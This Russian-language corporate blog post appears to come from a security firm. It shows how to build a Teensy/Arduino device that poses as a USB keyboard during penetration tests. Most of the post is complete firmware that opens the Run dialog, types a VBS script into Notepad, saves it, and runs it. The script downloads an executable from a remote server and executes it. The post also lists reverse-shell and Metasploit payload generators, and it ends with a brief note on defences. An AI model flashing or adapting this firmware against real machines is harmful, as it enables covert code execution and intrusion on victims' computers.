Pull to refresh
79.5
Rating
Digital Security
Безопасность как искусство

Боевой HID-эмулятор на Arduino

Digital Security corporate blog Information Security *
image
За последние годы многие стали с некоторой осторожностью относиться к съемным носителям данных. И вполне обоснованно. Ведь все так или иначе встречались с autorun.inf в корне флешки. Но, к сожалению, автозапуск с носителя – далеко не единственный вектор атаки при подключении устройства. При проведении внутренних тестов на проникновение нередко возникает необходимость проверить и продемонстрировать заказчику все возможные векторы, в том числе обход device-lock’ов.
Под катом рассмотрим пример устройства на arduino-подобном МК, эмулирующего HID-клавиатуру, с последующим выполнением кода на атакуемой системе.

Вектор атаки лежит на стыке технологии и социальной инженерии, а именно, требует от потенциального злоумышленника возможности физически подключить устройство, которое “притворится” устройством ввода и самостоятельно выполнит необходимые действия. Все вышеописанное перестает выглядеть фантастично, стоит лишь вспомнить про великое множество полезных и не очень usb-девайсов неизвестного происхождения, которые служащие, бывает, подключают к своим рабочим станциям. Не стоит всегда полагаться на утиный тест: здесь не все, что выглядит как флешка, флешкой и является.

Железо


В качестве аппаратной платформы будем использовать Teensy USB Development Board, а именно Teensy 2.0.
image

  • Поддержка USB
  • Маленькие габариты
  • Небольшая стоимость($16)
  • Совместимость с Arduino


Софт


Сама идея эмулировать микроконтроллером нажатия клавиш на клавиатуре не нова, и в помощь нам существует масса готовых решений. В частности, получить код прошивки можно несколькими путями.

Social Engineering Toolkit

Предустанавливается в back-track, позволяет выбрать один из вариантов полезной нагрузки:
  • Powershell HTTP GET MSF Payload
  • WSCRIPT HTTP GET MSF Payload
  • Powershell based Reverse Shell Payload
  • Internet Explorer/FireFox Beef Jack Payload
  • Go to malicious java site and accept applet Payload
  • Gnome wget Download Payload

На выходе получается файл *.pde с кодом программы, готовым для компиляции и прошивки.

Kautilya

Как и модуль из SET, представляет собой генератор кода прошивки, но, в отличие от вышеупомянутого, содержит значительно больше разнообразных нагрузок и активно развивается энтузиастом по имени Nikhil Mittal. Например, в версии 0.2.1 содержится 20 различных вариантов полезной нагрузки для Windows и 3 для Linux. Но большая часть функционала основана на манипуляциях с Power-Shell, что, мягко говоря, затрудняет эксплуатацию в Windows XP.

Написать код самим

Для удобства можно использовать библиотеку phukdlib, созданную пионером в области «teensy-вектора», человеком по имени Adrian Crenshaw (Irongeek). В ней реализовано несколько рутинных операций, например, открытие командной строки, реализованное для различных ОС.

Какой бы способ мы ни выбрали, в итоге у нас будет файл с кодом нашей прошивки, который надо чем-то скомпилировать и залить в МК. Для этого качаем и устанавливаем Arduino и teesyduino — дополнение для ардуино, добавляющее поддержку сборки под нашу платформу, а также десятки полезных примеров.

Саму среду достаточно просто распаковать из архива, и она уже готова к запуску. В процессе установки teensyduino установится также USB Serial driver, и будет предложено выбрать дополнительные библиотеки для работы со всевозможной периферией, от сервоприводов до GPS-приемников. Для нашей сегодняшней задачи ни одна из них не понадобится, но все они сами по себе достаточно любопытны и сопровождаются примерами кода.

image

Теперь запускаем и выбираем тип платы.

image

Эмулировать мы будем устройства ввода, так что выбираем соответствующий тип USB.

image

Итак, скромный инструментарий готов, и можно приступать к написанию программы.

Let's rock!


Зададим глобальные переменные
int ledPin = 11; //номер пина, на который уже разведен светодиод
int complete_flag =0; //флаг, указывающий, что один цикл программы уже выполнился


Перед основным циклом единожды выполняется функция Setup(). В ней мы приветственно поморгаем светодиодом, а заодно дадим несколько секунд на инициализацию HID-устройства системой.

void setup() {
pinMode(ledPin, OUTPUT);
for(int i=0;i<=2;i++)
{
delay(1000);
digitalWrite(ledPin,HIGH);
delay(1000);
digitalWrite(ledPin,LOW);
} }


Для начала вызовем стандартный диалог выполнения команд, «нажав» хоткей Win+R.

void loop() {
if(!complete_flag)
{
Keyboard.set_modifier(MODIFIERKEY_LEFT_GUI);
Keyboard.set_key1(KEY_R);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();


Подождем немного, пока диалог откроется. Здесь и далее в этом примере используется задержка продолжительностью в 1 секунду — значение, неоправданно большое для реальных условий и зависящее от отзывчивости системы (бывает, что и блокнот открывается полминуты).

delay(1000);

Запустим блокнот.

Keyboard.println("notepad");
delay(1000);


Теперь, когда перед нами открылся текстовый редактор, «наберем» VBS-скрипт, который скачает и запустит приложение со стороннего сервера.

Keyboard.println("Set xml=CreateObject(\"Microsoft.XMLHTTP\")");
Keyboard.println("xml.Open \"GET\",\"http://192.168.1.137/calc.\"&\"exe\",False");
Keyboard.println("xml.Send");
Keyboard.println("set oStream=createobject(\"Adodb.Stream\")");
Keyboard.println("Const adTypeBinary=1");
Keyboard.println("Const adSaveCreateOverWrite=2");
Keyboard.println("Const adSaveCreateNotExist=1 ");
Keyboard.println("oStream.type=1");
Keyboard.println("oStream.open");
Keyboard.println("oStream.write xml.responseBody");
Keyboard.println("oStream.savetofile \"C:\\payload.\"&\"exe\", 2");
Keyboard.println("oStream.close");
Keyboard.println("Set wshShell=CreateObject(\"WScript.Shell\")");
Keyboard.println("WshShell.Exec (\"C:\\payload.\"&\"exe\")");


Сохраним полученное в корне диска С (Alt+F4 -> Enter -> вводим имя файла -> Enter).

Keyboard.set_modifier(MODIFIERKEY_LEFT_ALT);
Keyboard.set_key1(KEY_F4);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(1000);
Keyboard.println("");
delay(1000);
Keyboard.println("c:\\getpayload.vbs");


Как и ранее, Win+R, и запускаем только что созданный скрипт.

Keyboard.set_modifier(MODIFIERKEY_LEFT_GUI);
Keyboard.set_key1(KEY_R);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(1000);
Keyboard.println("c:\\getpayload.vbs");
complete_flag = 1;
} }


Настало время залить все это в teensy. Для этого просто жмем кнопку Upload, и после завершения компиляции перед нами предстанет окошко teensy-loader’а. Остается подключить нашу плату по USB и нажать единственную кнопку. После прошивки микроконтроллер автоматически перезагрузится и начнет выполнение программы.

image

Action!




В заключение хочется отметить, что для защиты от подобного рода атак можно использовать настройку политик безопасности для добавления новых устройств в ОС или же специализированные средства для блокировки. Но устройства идентифицируются системой по связке Vendor ID и Product ID, которые, в свою очередь, могут быть запрограммированы злоумышленником и полностью соответствовать уже зарегистрированным в системе. Таким образом, даже блокировка по «белому списку» не является панацеей. Для выявления и блокировки HID-эмуляторов, на мой взгляд, следует использовать эвристические методы, например, основываясь на анализе изменения скорости ввода.
Tags: HIDклавиатураteensyarduinoSETKautilyaphukdlib
Hubs: Digital Security corporate blog Information Security
Total votes 41: ↑35 and ↓6 +29
Comments 23
Comments Comments 23

Information

Founded
Location
Россия
Website
dsec.ru
Employees
51–100 employees
Registered

Habr blog